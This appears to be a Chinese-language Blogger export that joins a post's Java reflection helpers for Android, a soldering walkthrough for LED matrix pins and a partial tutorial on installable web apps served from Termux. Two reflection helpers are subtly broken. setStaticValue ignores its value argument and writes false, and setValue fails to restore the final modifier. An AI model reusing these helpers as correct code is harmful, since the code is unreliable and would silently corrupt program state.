<pre class="brush:java">public static<T> T createObject(Class<T> clazz, Class[] parameterClasses, Object[] parameterValues) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
Constructor<T> constructor = clazz.getDeclaredConstructor(parameterClasses);
constructor.setAccessible(true);
return constructor.newInstance(parameterValues);
}</pre>
<pre class="brush:java">public static Object invokeMethod(Class clazz, String methodName, Class[] parameterClasses, Object[] parameterValues, Object instance) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Method method = clazz.getDeclaredMethod(methodName, parameterClasses);
method.setAccessible(true);
return method.invoke(instance, parameterValues);
}</pre>
<pre class="brush:java">public static Object getValue(Class clazz, String fieldName, Object instance) throws NoSuchFieldException, IllegalAccessException {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(instance);
}</pre>
<pre class="brush:java">public static void setValue(Class clazz, String fieldName, Object value, Object instance) throws NoSuchFieldException, IllegalAccessException {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
int modifiers = field.getModifiers();
if ((modifiers & Modifier.FINAL) > 0) {
Class modifiersClass = field.getClass();
Field modifiersField = modifiersClass.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.set(field, modifiers & ~Modifier.FINAL);
field.set(instance, value);
modifiersField.set(field, modifiers & ~Modifier.FINAL);
} else {
field.set(instance, value);
}
}</pre>
<pre class="brush:java">public static void setStaticValue(Class clazz, String fieldName, Object value) throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
Field field = clazz.getDeclaredField(fieldName);
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafeObject = unsafeField.get(null);
Method unsafeMethodBase = unsafeClass.getDeclaredMethod("staticFieldBase", field.getClass());
Object unsafeMethodBaseObject = unsafeMethodBase.invoke(unsafeObject, field);
Method unsafeMethodOffset = unsafeClass.getDeclaredMethod("staticFieldOffset", field.getClass());
Object unsafeMethodOffsetObject = unsafeMethodOffset.invoke(unsafeObject, field);
Method unsafeMethodPutObject = unsafeClass.getDeclaredMethod("putObject", Object.class, long.class, Object.class);
unsafeMethodPutObject.invoke(unsafeObject, unsafeMethodBaseObject, unsafeMethodOffsetObject, false);
}</pre>
<a name="總結"></a><h4 class="mra-h4">總結</h4>
<div>編寫 Android 程式時,偶然發現一些功能,不是 公有方法 或 公有屬性<br/>
但這些功能在下希望能加入到自己編寫的 Android應用程式 中,因此尋找資料發現可以透過 映射 達至效果<br/>
</div>
<br/>
<a name="參考資料"></a><h4 class="mra-h4">參考資料</h4>
<div>
<ul>
<li><a href="https://www.oracle.com/technical-resources/articles/java/javareflection.html">Oracle Java Reflection 官方教學</a></li>
<li><a href="https://github.com/openjdk/jdk/blob/master/src/jdk.unsupported/share/classes/sun/misc/Unsafe.java">sun.misc.Unsafe 的原始碼</a></li>
</ul>
</div>HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.com0tag:blogger.com,1999:blog-4749999961332526255.post-18496588493850526322023-08-05T16:39:00.001+08:002023-08-05T16:39:57.685+08:00焊接方法分享<div>最近整理電子零件,發現有些零件仍未焊接引腳<br/>
但這些零件焊接比較麻煩,因此在下將焊接的方法記錄</div>
<a name='more'></a>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-6VAuAtNX4CwpV2eRCDLuGrwJ4Z72yuMWBNY3r7eAdDKjZ7ROBiSA90LWcmZFX8QGwWulbCbVMEQ0IwIOmJYtXSL0R-POp23PGktNxzYS2zfe1XGv3jzI1_min669BF52OmfU09AtKqm-oq1tOx14szq7BhpTbVIGlK3ok--dIJ4EVFR2Z6JrlQHUzMY/w0/soldering-at-pin-side-001.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-6VAuAtNX4CwpV2eRCDLuGrwJ4Z72yuMWBNY3r7eAdDKjZ7ROBiSA90LWcmZFX8QGwWulbCbVMEQ0IwIOmJYtXSL0R-POp23PGktNxzYS2zfe1XGv3jzI1_min669BF52OmfU09AtKqm-oq1tOx14szq7BhpTbVIGlK3ok--dIJ4EVFR2Z6JrlQHUzMY/w600/soldering-at-pin-side-001.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgroLmKcQ5_uIjUmFDSVlkz4H3uD_Kd7kdPVLsBW-y-YfsTOxYL8jrpHuyvCJAtoPl00_pRKARgLCo176TzGf1NM8T4_ogEYZ8zCccrmRuSZU8v0BkSGRClx8ws1pSjBOSRTMDKCXlqvPPhM5b9WY01kLBD2vQujqRrn_HcpmmV5UlEgTSeaQYG_3ogjw0/w0/soldering-at-pin-side-002.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgroLmKcQ5_uIjUmFDSVlkz4H3uD_Kd7kdPVLsBW-y-YfsTOxYL8jrpHuyvCJAtoPl00_pRKARgLCo176TzGf1NM8T4_ogEYZ8zCccrmRuSZU8v0BkSGRClx8ws1pSjBOSRTMDKCXlqvPPhM5b9WY01kLBD2vQujqRrn_HcpmmV5UlEgTSeaQYG_3ogjw0/w600/soldering-at-pin-side-002.jpg"/></a></div>
<div>在下曾經使用的其中一種 WS2812B RGB LED 矩陣<br/>
雖然這種 LED 矩陣使用通孔設定,能夠使用一般引腳焊接<br/>
但由於通孔的另一端被阻擋,因此無法從引腳的另一端焊接<br/>
亦即是必須從引腳的方向焊接</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieLAfrEY-AANcIj1nXc-tIkbgiCNfnAqdYKgiCE79GebUyHiBexEQW2LX_TpuQ6r1crGYn7oEQ0tPw-shAqIHzZCRhzn3ASnvuY0_Y_h2bQukzQkoqKNbXk9SR-N0QJ0aKiRrUmjL6dwflG0v4Z_YVjhvjbc3Se14dJ_PjZHRfXXpo03f6unYnjUWl9Uk/w0/soldering-at-pin-side-003.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieLAfrEY-AANcIj1nXc-tIkbgiCNfnAqdYKgiCE79GebUyHiBexEQW2LX_TpuQ6r1crGYn7oEQ0tPw-shAqIHzZCRhzn3ASnvuY0_Y_h2bQukzQkoqKNbXk9SR-N0QJ0aKiRrUmjL6dwflG0v4Z_YVjhvjbc3Se14dJ_PjZHRfXXpo03f6unYnjUWl9Uk/w600/soldering-at-pin-side-003.jpg"/></a></div>
<div>在下先將需要使用的引腳剪裁,並將包著引腳的塑膠移動到引腳的其中一端<br/>
再令引腳能保持相同的長度及平行</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwpdqi8hAV7VrH-uselqqt_nj2XnGjh0BMCu1e-2XGRVnR_gaDMfFoZDVocGwwHLAV5NGMZxfREHHESLPp8bgiV-C7zApeGNvBhbLla8icN4J5fChUNLLumO7cGWvo6MMdJM0_Qwcuq4Gijuetv5cBcIvcWzAShVBXiVd7Wee5CvPBFci8lIFaTHY1ETA/w0/soldering-at-pin-side-004.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwpdqi8hAV7VrH-uselqqt_nj2XnGjh0BMCu1e-2XGRVnR_gaDMfFoZDVocGwwHLAV5NGMZxfREHHESLPp8bgiV-C7zApeGNvBhbLla8icN4J5fChUNLLumO7cGWvo6MMdJM0_Qwcuq4Gijuetv5cBcIvcWzAShVBXiVd7Wee5CvPBFci8lIFaTHY1ETA/w600/soldering-at-pin-side-004.jpg"/></a></div>
<div>將引腳放進通孔,因應需要再調整角度及長度</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZMH-h-tQlny7YRqdsUrKk69wwwpd_8iLMHSy_BtXLNfWQf-sPxAiq6mxN3dxQWwGvqAAmrisByej4W3XxNsg5EDCqQgzVI_XNs_A3f05a0I6Q6-e7tqUTIkJWmyi1dXJxB3YTrzbLvVwNKJX_O1Z9WiqEQwVXlw4q-l4Y_psMCyHNBA9vfihgvSI6GyE/w0/soldering-at-pin-side-010.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZMH-h-tQlny7YRqdsUrKk69wwwpd_8iLMHSy_BtXLNfWQf-sPxAiq6mxN3dxQWwGvqAAmrisByej4W3XxNsg5EDCqQgzVI_XNs_A3f05a0I6Q6-e7tqUTIkJWmyi1dXJxB3YTrzbLvVwNKJX_O1Z9WiqEQwVXlw4q-l4Y_psMCyHNBA9vfihgvSI6GyE/w0/soldering-at-pin-side-010.jpg"/></a></div>
<div>確認角度及長度後,先焊接其中一支引腳,再微調角度及長度</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUrpvegz2vLy-wfoQER5g7UXngiWxuywvJn_BE9pzW-PNYnEjOB8FSiYgQOggo5nyOOEfQ2ZftLzdX53DMcQHWnjodalEaXkXRGFw4Ji6_0_74W0b8QYSNcy1CYPLes_ZSFE8HxurawwLH9_3idZNdU6oX52uIFD7xzzbvCw7FHeDkCTTEMcoIxZy_HGE/w0/soldering-at-pin-side-005.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUrpvegz2vLy-wfoQER5g7UXngiWxuywvJn_BE9pzW-PNYnEjOB8FSiYgQOggo5nyOOEfQ2ZftLzdX53DMcQHWnjodalEaXkXRGFw4Ji6_0_74W0b8QYSNcy1CYPLes_ZSFE8HxurawwLH9_3idZNdU6oX52uIFD7xzzbvCw7FHeDkCTTEMcoIxZy_HGE/w600/soldering-at-pin-side-005.jpg"/></a></div>
<div>微調角度及長度後,將餘下的引腳都焊接</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgucLlwAhn_tnaw6qHFlc0NnedjosNXyhONvNm9pvmsUs6i88bJNIDnFh_CszY4y99ZIasAqeoR_0Xcu9N2wMr6s3PmxUgo1L6oH7oJTFxeAmPAQ0NoXZavC_Uc3qE9nsCRTtcTRQzb57XuDYdznxKmWpOK7r2BmFFYfjH7GjpEHiTJCKlvTMWz7nm7-xk/w0/soldering-at-pin-side-006.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgucLlwAhn_tnaw6qHFlc0NnedjosNXyhONvNm9pvmsUs6i88bJNIDnFh_CszY4y99ZIasAqeoR_0Xcu9N2wMr6s3PmxUgo1L6oH7oJTFxeAmPAQ0NoXZavC_Uc3qE9nsCRTtcTRQzb57XuDYdznxKmWpOK7r2BmFFYfjH7GjpEHiTJCKlvTMWz7nm7-xk/w600/soldering-at-pin-side-006.jpg"/></a></div>
<div>焊接後,由於引腳已經固定<br/>
如果不需要特殊效果,將塑膠壓下便完成<br/>
但在下想容易使用裝置,不同功能的引腳配對不同顏色的塑膠<br/>
方便使用及減低引腳接駁錯誤的機會,因此將固定平行的塑膠拆除</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuhfwyO7vHDtgeK_5j1YqN97Xsmr1irQWP43qCaw9UqFBjRcVKa81NzpGInNZFMomcxBSi4wMY5rD9cExXgfiJQcHHDMNEWrYdHYJa8nPvtlHD-eh1b2m4zFlf6zHlg25YVvAmQa_FTsCpqIYvy0xlN51TspoaoWOK6dRzvAX8Jumyt96qAg9hQEElGY8/w0/soldering-at-pin-side-007.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuhfwyO7vHDtgeK_5j1YqN97Xsmr1irQWP43qCaw9UqFBjRcVKa81NzpGInNZFMomcxBSi4wMY5rD9cExXgfiJQcHHDMNEWrYdHYJa8nPvtlHD-eh1b2m4zFlf6zHlg25YVvAmQa_FTsCpqIYvy0xlN51TspoaoWOK6dRzvAX8Jumyt96qAg9hQEElGY8/w600/soldering-at-pin-side-007.jpg"/></a></div>
<div>將其他顏色的引腳剪裁</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqkLdihyxgPDgChmd0DgS7ZVD9-s5ZkADdhC4nK-XzmrOToYnn8f4JXtYpfrIDpsPMTNq-MmU6uoXsU1mzPtaRmsNowstpUVmEi9SoHX7_2NtqHfN4GDd4saQnDA3oPHF5tVEvOXWP5YegwSFZoe6F46cpzy7ZPutELpbv7uaynBELeruwC2w6oPabJ50/w0/soldering-at-pin-side-008.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqkLdihyxgPDgChmd0DgS7ZVD9-s5ZkADdhC4nK-XzmrOToYnn8f4JXtYpfrIDpsPMTNq-MmU6uoXsU1mzPtaRmsNowstpUVmEi9SoHX7_2NtqHfN4GDd4saQnDA3oPHF5tVEvOXWP5YegwSFZoe6F46cpzy7ZPutELpbv7uaynBELeruwC2w6oPabJ50/w600/soldering-at-pin-side-008.jpg"/></a></div>
<div>只拿走顏色塑膠</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRI9PR4kVFlk3Xk2Zc9MSuBLqq0aYBDRyNv2K6l5Jf2JjPUJEbpfvgCjPOp0Jxd8SQdE-Gq72ehO0g95hQx-nZOVJPy9QZDWoYIisaLOJ1dJzfIUvcvdOyU_ZQ1LOSebyxg7yI2iLCqiK0wKN40A-CNBDsmISggY5X0Z-MZmZ3isiTQoBOkcE2UG4bAsc/w0/soldering-at-pin-side-009.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRI9PR4kVFlk3Xk2Zc9MSuBLqq0aYBDRyNv2K6l5Jf2JjPUJEbpfvgCjPOp0Jxd8SQdE-Gq72ehO0g95hQx-nZOVJPy9QZDWoYIisaLOJ1dJzfIUvcvdOyU_ZQ1LOSebyxg7yI2iLCqiK0wKN40A-CNBDsmISggY5X0Z-MZmZ3isiTQoBOkcE2UG4bAsc/w600/soldering-at-pin-side-009.jpg"/></a></div>
<div>並將顏色塑膠壓在對應功能的引腳上便完成</div>
<br/>
<div>餘下的引腳重新安裝回原本的連接著的塑膠中,待下次有需要時再次使用</div>HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.com0tag:blogger.com,1999:blog-4749999961332526255.post-10516501972635378742023-07-15T23:07:00.002+08:002023-07-15T23:07:43.203+08:00製作可以安裝的網頁應用程式<div>由於 HTML5 及其他 Web API 越來越成熟<br/>
網頁應用程式,只需要能夠電腦能夠上網及使用支援 HTML5 及 Web API 的網頁瀏覽器便可以使用<br/>
不需要花時間及空間安裝軟件到電腦系統,亦能跨平台使用</div>
<a name='more'></a>
<div class="mra-index">
<ul>
<li><a href="#Termux安裝Apache網頁伺服器">Termux 安裝 Apache網頁伺服器</a></li>
<li><a href="#新增網頁至主熒幕">新增網頁至主熒幕</a></li>
<li><a href="#安裝網頁應用程式">安裝網頁應用程式</a>
<ul>
<li><a href="#網頁檔案">網頁檔案</a></li>
<li><a href="#圖示檔案">圖示檔案</a></li>
<li><a href="#manifest檔案">manifest檔案</a></li>
</ul>
</li>
<li><a href="#網頁捷徑及網頁應用程式">網頁捷徑及網頁應用程式</a>
<li><a href="#額外設定">額外設定</a>
<ul>
<li><a href="#short_name">short_name</a></li>
<li><a href="#display">display</a></li>
<li><a href="#background_color">background_color</a></li>
<li><a href="#theme_color">theme_color</a></li>
<li><a href="#orientation">orientation</a></li>
</ul>
</li>
<li><a href="#總結">總結</a></li>
<li><a href="#參考資料">參考資料</a></li>
</ul>
</div>
<a name="Termux安裝Apache網頁伺服器"></a><h4 class="mra-h4">Termux 安裝 Apache網頁伺服器</h4>
<div>由於 Android 能夠使用 Termux 或 UserLand 等終端應用程式<br/>
之前在下都是在 Termux 使用 PRoot 執行 Linux<br/>
這次在下直接將 Apache網頁伺服器安裝到 Termux 上測試<br/></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSAO9FQOvu4q2S8CV_XBbA9ODA8AwLj5XNZ3AE2bHlHkhjCGOVbfc3qAHjIVS1KkJebY32L6sDMRukgEDl4LJnhWPbruqEGGX4vVeU6BWTK3F73XhOroWUPqHAfyWlPyyzHavbmf4hlN9nef1Ca9P4L6IzSoTqTPFMR9AsdbqDzMLyDq7dObK7bkZD/w0/installable-web-app-001.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSAO9FQOvu4q2S8CV_XBbA9ODA8AwLj5XNZ3AE2bHlHkhjCGOVbfc3qAHjIVS1KkJebY32L6sDMRukgEDl4LJnhWPbruqEGGX4vVeU6BWTK3F73XhOroWUPqHAfyWlPyyzHavbmf4hlN9nef1Ca9P4L6IzSoTqTPFMR9AsdbqDzMLyDq7dObK7bkZD/w600/installable-web-app-001.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWS32DBtRg6yNFtAlt8fzsQxhcIrbtPGD2-Bx1sMJzvXVuTJtzNpYoM1KEMUg-2pK98QJk-3aTdFbg9V-7tm9OF2-7TC6cf4zt5OLRQyHd4zpTfmHEQL8Jtrd503lXSt_v1sl86YRfMDUf12GCYwREqFj49wHzw2Yir3u4YzON4JH6TVmeVlF_YpeY/w0/installable-web-app-002.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWS32DBtRg6yNFtAlt8fzsQxhcIrbtPGD2-Bx1sMJzvXVuTJtzNpYoM1KEMUg-2pK98QJk-3aTdFbg9V-7tm9OF2-7TC6cf4zt5OLRQyHd4zpTfmHEQL8Jtrd503lXSt_v1sl86YRfMDUf12GCYwREqFj49wHzw2Yir3u4YzON4JH6TVmeVlF_YpeY/w600/installable-web-app-002.png"/></a></div>
<div>Termux 的軟件庫有提供 Apache網頁伺服器,開啟 Termux 後,輸入
<pre class="brush:bash">pkg install apache2</pre>
安裝 Apache網頁伺服器</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSilAAlf44zfsn8-gZOhI-RG1m4-Mftu32fW0h4cmVefBqzULITf3yx81qlZzbjZZKsaOrJXvYLHcrBV6BRbuNubCWoESKsiT0w-SZ9Um0MDYNqwn2FWBwYYq1HHdnRZIFMkws0_OOh7rrfFKFxUs4dIL0WCjaCOvK8JpXDZKhv-8z7FhTogvnyg_N/w0/installable-web-app-003.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSilAAlf44zfsn8-gZOhI-RG1m4-Mftu32fW0h4cmVefBqzULITf3yx81qlZzbjZZKsaOrJXvYLHcrBV6BRbuNubCWoESKsiT0w-SZ9Um0MDYNqwn2FWBwYYq1HHdnRZIFMkws0_OOh7rrfFKFxUs4dIL0WCjaCOvK8JpXDZKhv-8z7FhTogvnyg_N/w600/installable-web-app-003.png"/></a></div>
<div>安裝 Apache網頁伺服器 後,輸入
<pre class="brush:bash">apachectl start</pre>
啟動 Apache網頁伺服器<br/>
需要 停止 或 重新啟動 Apache網頁伺服器,可以將 start 修改成 stop 及 restart</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8KPGlvys1crGfrYz_BD720bqk-2mI99fu8-LId6SV5nJPKa2Sei18EGvOtPd3o6A_rNKKnTGBvZVwVMo3P3K_Dk9WFc9FWguiSqkaZ20MzVYW0rUE6PlMXfc-a6eyV-0176GFDZDU4yZV75R1BjR4UJrBP61eVvGF-RS-6cVMxTv1tyVKkH4ImaC_/w0/installable-web-app-004.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8KPGlvys1crGfrYz_BD720bqk-2mI99fu8-LId6SV5nJPKa2Sei18EGvOtPd3o6A_rNKKnTGBvZVwVMo3P3K_Dk9WFc9FWguiSqkaZ20MzVYW0rUE6PlMXfc-a6eyV-0176GFDZDU4yZV75R1BjR4UJrBP61eVvGF-RS-6cVMxTv1tyVKkH4ImaC_/w600/installable-web-app-004.png"/></a></div>
<div>Apache網頁伺服器 啟動後,開啟 Chrome網頁瀏覽器<br/>
並在網址列輸入 <a href="http://127.0.0.1:8080/">http://127.0.0.1:8080/</a> 測試<br/>
顯示 It works! 表示 Apache網頁伺服器 正在運作</div>
<br/>
<a name="新增網頁至主熒幕"></a><h4 class="mra-h4">新增網頁至主熒幕</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibkKwmaxOKr1drarqTbxICmxAHE-q7vDowomx0IC0OLm0gMg2E7P-AcQctWLebkKDLJo89u0dLuXnpne7D6StRb2rEan2x7u6vRQdxtL-5UwPEdnHJ9l8Ej872pvJHv8RohSgVqks64nj5WPjwVNf6ibtkV5HHcfBgRF3pbZpD6j_qkUtW9RvENfJq/w0/installable-web-app-005.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibkKwmaxOKr1drarqTbxICmxAHE-q7vDowomx0IC0OLm0gMg2E7P-AcQctWLebkKDLJo89u0dLuXnpne7D6StRb2rEan2x7u6vRQdxtL-5UwPEdnHJ9l8Ej872pvJHv8RohSgVqks64nj5WPjwVNf6ibtkV5HHcfBgRF3pbZpD6j_qkUtW9RvENfJq/w600/installable-web-app-005.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYibI_RrsF6UcEYtaKeV-JndxFykqCPJUgx7S_TEt1nQFhB3i3APmjPye6dABgcB1GeNWOOsRn8HxQEJqoO5N050k-Nqf90eh-ARpK-I4p9kKBAGeZppydTU0qCn4CBQoqEivwgxZp11Mj4OI32GzkbjKLwuAxDA4zk1ZNCIBgK7A8Gh-HZFwpg1lT/w0/installable-web-app-006.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYibI_RrsF6UcEYtaKeV-JndxFykqCPJUgx7S_TEt1nQFhB3i3APmjPye6dABgcB1GeNWOOsRn8HxQEJqoO5N050k-Nqf90eh-ARpK-I4p9kKBAGeZppydTU0qCn4CBQoqEivwgxZp11Mj4OI32GzkbjKLwuAxDA4zk1ZNCIBgK7A8Gh-HZFwpg1lT/w600/installable-web-app-006.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-GGODfq4K65F2zZWI8yY_D8BswufU6JYzmZ8s41sh6vWv365xGJSwx5VTzBCyxSt0ZaRedDBMO0AAEVKB0DhKuYYdMKmaF7Ei8XuSBCp82_Cuqy60cpl_cAKq69odvifo8KowMQGopcWPbS7ZoOU7BKu0NSv3zKmgQInCOYLnxYnUaNoWG_LS2bvA/w0/installable-web-app-007.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-GGODfq4K65F2zZWI8yY_D8BswufU6JYzmZ8s41sh6vWv365xGJSwx5VTzBCyxSt0ZaRedDBMO0AAEVKB0DhKuYYdMKmaF7Ei8XuSBCp82_Cuqy60cpl_cAKq69odvifo8KowMQGopcWPbS7ZoOU7BKu0NSv3zKmgQInCOYLnxYnUaNoWG_LS2bvA/w600/installable-web-app-007.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhR_UAV-okrc6_WPOPFRqow04AQbphCF5tTf74zGxeOKHEKB23Pv0_YfTub00dI6ivpe-H6ftPPB8Xr2IVdxz9D_ae_xLTnQZ4uL_WDpDQxSlUpEED9zqz9tcveEsC46uJ3LAki4nh6Vi6E6CoML0n9QrqL2_jZPq6tjxZv8XGA5rG3LQ9e1c8rUCn6/w0/installable-web-app-008.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhR_UAV-okrc6_WPOPFRqow04AQbphCF5tTf74zGxeOKHEKB23Pv0_YfTub00dI6ivpe-H6ftPPB8Xr2IVdxz9D_ae_xLTnQZ4uL_WDpDQxSlUpEED9zqz9tcveEsC46uJ3LAki4nh6Vi6E6CoML0n9QrqL2_jZPq6tjxZv8XGA5rG3LQ9e1c8rUCn6/w600/installable-web-app-008.png"/></a></div>
<div>由於未設定網頁應用程式的資料,Chrome 只有 新增至主螢幕 將網頁以網頁捷徑的方式標籤在 Android 的桌面上</div>
<br/>
<a name="安裝網頁應用程式"></a><h4 class="mra-h4">安裝網頁應用程式</h4>
<div>要將網頁應用程式設計成能夠讓 Chrome 安裝的</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWCsicjVqasOQwh_dOmzsw9OaNvztCISaLufNgtqLtViyYV7_WPZxYORcmpjt1kFd2G_R9VBUZWmAAPq81HDMO4iZIptILvyQ4g4ftlWOl7sywSvNQ80cgh-DKIqJ4UxSg7xJCKT25_B8flaFIZEAj0jmwN3gDUtutpfBfJpNvp1KXYbkNYgFHSlEL/w0/installable-web-app-009.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWCsicjVqasOQwh_dOmzsw9OaNvztCISaLufNgtqLtViyYV7_WPZxYORcmpjt1kFd2G_R9VBUZWmAAPq81HDMO4iZIptILvyQ4g4ftlWOl7sywSvNQ80cgh-DKIqJ4UxSg7xJCKT25_B8flaFIZEAj0jmwN3gDUtutpfBfJpNvp1KXYbkNYgFHSlEL/w600/installable-web-app-009.png"/></a></div>
<div>Termux 的 Apache網頁伺服器 的 預設文件路徑 在 $PREFIX/share/apache2/default-site/htdocs/</div>
<br/>
<a name="網頁檔案"></a><h5 class="mra-h5">網頁檔案</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnbRQR1kaOSzfhaqmJzzAahRMucK5zCCo-iR5j5sq8D--bkdJfK4mb8hiHB5W678pVv6oTEX7T-8ZG-xxOzl-tYZvtBUTgC2zSdfSpvROBZZ6S4RsBGzaVhWNNdncH5RtuVpVY9FV0HE2gUxWxmbhLKjPwfhVkDt962WdD1aftFkD65qc51_PGDTat/w0/installable-web-app-010.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnbRQR1kaOSzfhaqmJzzAahRMucK5zCCo-iR5j5sq8D--bkdJfK4mb8hiHB5W678pVv6oTEX7T-8ZG-xxOzl-tYZvtBUTgC2zSdfSpvROBZZ6S4RsBGzaVhWNNdncH5RtuVpVY9FV0HE2gUxWxmbhLKjPwfhVkDt962WdD1aftFkD65qc51_PGDTat/w600/installable-web-app-010.png"/></a></div>
<div>符合 HTML5 規格的 網頁檔案</div>
<pre class="brush:html"><!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<title>Test Web App</title>
<link rel="manifest" href="manifest.json"/>
</head>
<body>
<h1>Test Web App</h1>
</body>
</html></pre><br/>
<div>內容與一般 HTML 檔案無異,只是要 head 之中要加入 <link rel="manifest" href="manifest.json"/><br/>
當中的 manifest.json 就是 manifest檔案,但檔案名稱不一定使用 manifest.json</div>
<br/>
<a name="圖示檔案"></a><h5 class="mra-h5">圖示檔案</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhF50myWQ2eClsnug4ddBIlviZUeTHSBUMJdqJQ080TAsqGYDRQGMkK-xb3MqOGnGYJAXZmzAid91hi3k6NXhh7KF9ERIa1qr0erkASiUSBWkHQ9n_cZyig6Iv2cOrcOmQQy3PJ1V7MeTS0c9GjpmbxsVkOD-_nnnvjXOFF8C4e4pox3m2nlyKtyH-/w0/installable-web-app-011.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhF50myWQ2eClsnug4ddBIlviZUeTHSBUMJdqJQ080TAsqGYDRQGMkK-xb3MqOGnGYJAXZmzAid91hi3k6NXhh7KF9ERIa1qr0erkASiUSBWkHQ9n_cZyig6Iv2cOrcOmQQy3PJ1V7MeTS0c9GjpmbxsVkOD-_nnnvjXOFF8C4e4pox3m2nlyKtyH-/w600/installable-web-app-011.png"/></a></div>
<div>圖示檔案並沒有特別限制,但一般會使用 PNG 或 SVG 格式<br/>
由於 SVG 只需要純文字便可以製作,而且 SVG 是一種向量圖格式,可以非常容易製作不同大小圖示檔案</div>
<pre class="brush:xml"><svg version="1.1" width="512px" height="512px" viewBox="0 0 8 8" xmlns="http://www.w3.org/2000/svg">
<path d="M 2,2 4,6 6,2" fill="none" stroke="#000000" stroke-width="1" stroke-linecap="round" stroke-linejoin="round"/>
</svg></pre>
<div>為了方便不同裝置的熒幕尺寸,通常會製作 16x16像素 至 512x512像素 指數遞增 的圖示檔案<br/>
配合指令,便可以批次製作大量不同尺寸的 SVG</div>
<pre class="brush:bash">#!/bin/bash
default_icon="icon.svg"
for s in 16 32 64 128 256 512; do
cat "${default_icon}" | sed -r 's/(<svg.+width=")[0-9]+(px" height=")[0-9]+(px".*>)/\1'"${s}"'\2'"${s}"'\3/g' >"${default_icon:0:-4}-${s}x${s}.svg"
done</pre>
<br/>
<a name="manifest檔案"></a><h5 class="mra-h5">manifest檔案</h5>
